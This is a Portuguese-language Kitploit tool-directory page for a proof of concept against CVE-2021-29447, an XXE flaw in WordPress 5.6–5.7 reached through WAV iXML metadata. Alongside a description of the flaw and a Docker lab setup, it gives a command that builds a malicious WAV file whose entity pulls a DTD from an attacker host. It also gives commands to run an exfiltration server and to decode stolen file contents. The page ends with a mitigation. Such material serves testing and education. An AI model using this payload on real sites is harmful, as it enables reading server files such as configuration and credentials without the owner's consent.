Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-29447-PoC | Kitploit
Ferramentas/GitHubGitHub/rdana55/cve-2021-29447-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoAprendizado e Educação
GitHubrdana55/cve-2021-29447-poc

CVE-2021-29447-PoC

Ver Repositório
há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2021-29447-PoC

Visão Geral

A CVE-2021-29447 é uma vulnerabilidade de injeção de Entidade Externa XML (XXE) que afeta o WordPress versões 5.6–5.7 (corrigida na 5.7.1) quando executado com PHP 8.0+. A vulnerabilidade reside na biblioteca getID3 usada para análise de metadados de mídia.

O WordPress processa blocos iXML de arquivos WAV por meio do getID3, que invoca simplexml_load_string() com a flag LIBXML_NOENT. Essa flag habilita explicitamente a substituição de entidades externas, contornando as proteções XXE padrão do PHP 8 (libxml_disable_entity_loader() obsoleta).

  1. Usuário autenticado (Author+) envia WAV malicioso
  2. getID3 → bloco iXML → simplexml_load_string(XXE_PAYLOAD, LIBXML_NOENT)
  3. Busca de DTD externo → wrapper data:// do PHP → Divulgação arbitrária de arquivos

Configuração da Prova de Conceito

Esta PoC demonstra a vulnerabilidade usando WordPress 5.7 + PHP 8.0.3 em Docker. Usuários de Linux podem usar um script de arquivo único que também gera os arquivos WAV/DTD.

▶️: https://youtu.be/YnGowuWHFyY

Pré-requisitos e Configuração do Ambiente

  1. Instale o Docker Desktop no host Windows

  2. Crie um diretório de projeto dedicado (todos os comandos PowerShell são executados aqui):

    root@kitploit:~
     #powershell
    mkdir cve-2021-29447-poc
     cd cve-2021-29447-poc
    
  3. Implante o WordPress vulnerável:

    root@kitploit:~
     #powershell
     notepad docker-compose.yml
    

    Copie e cole o conteúdo do docker-compose.yml

  4. Inicie os contêineres:

    root@kitploit:~
     #powershell
     docker-compose up -d
    
  5. Desative as atualizações automáticas (crítico para a persistência da vulnerabilidade):

    root@kitploit:~
     #powershell
     docker-compose exec wordpress bash
    
     #bash
     sed -i "s/WP_AUTO_UPDATE_CORE', true/WP_AUTO_UPDATE_CORE', false/g" /var/www/html/wp-config-sample.php
    
     echo "define('AUTOMATIC_UPDATER_DISABLED', true);" >> /var/www/html/wp-config-sample.php
     echo "define('WP_AUTO_UPDATE_CORE', false);" >> /var/www/html/wp-config-sample.php
    
     tail -5 /var/www/html/wp-config-sample.php
     exit
    
  6. Verifique as versões vulneráveis:

    root@kitploit:~
     #powershell
     docker-compose exec wordpress bash -c "grep wp_version /var/www/html/wp-includes/version.php && php -v"
    

    Esperado: WordPress 5.7, PHP 8.0+

  7. Instalação do WordPress:

    Navegue: http://localhost:8080

    Admin: test / test / [email protected]

    Conclua a configuração → Acesse /wp-admin

  8. Descoberta do IP do Atacante:

    root@kitploit:~
     #powershell
     ipconfig | findstr IPv4
    

    Anote seu IP (ex.: 192.168.1.196)

Geração do Payload do Exploit

  1. Crie o payload DTD:

    root@kitploit:~
     #powershell
     notepad evil.dtd
    

    Copie e cole o conteúdo do evil.dtd

  2. Gere o payload WAV (CLI Linux):

    root@kitploit:~
    #bash
     echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOUR_IP:PORT/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
    

    Transfira via python3 -m http.server 8000 → download no navegador Windows (ex.: http://<VM_IP>:8000)

    Nota: WAV criado separadamente devido à complexidade de escape binário em ambientes Windows

  3. Implante o servidor do exploit:

    root@kitploit:~
     #powershell
     notepad exploit.py
    

    Copie e cole o conteúdo do exploit.py

    Comando:

    root@kitploit:~
     #powershell
     python exploit.py -l YOUR_IP -p PORT 
    

Exploração

  1. Dispare o XXE:

    http://localhost:8080/wp-admin → Mídia → Adicionar Novo

    Envie o payload.wav

  2. Monitore o console do servidor Python -> capture os dados exfiltrados

  3. Decodifique o payload Base64+Zlib:

    root@kitploit:~
     #powershell
     $bd='PASTE_BASE64_HERE';$bytes=[Convert]::FromBase64String($bd);$decoded=[System.IO.Compression.DeflateStream]::new([System.IO.MemoryStream]::new($bytes,$false),[System.IO.Compression.CompressionMode]::Decompress);[System.IO.StreamReader]::new($decoded).ReadToEnd()
    

Mitigação

Atualize para o WordPress 5.7.1+ ou desative o LIBXML_NOENT no parse do getID3.

Baixar ferramenta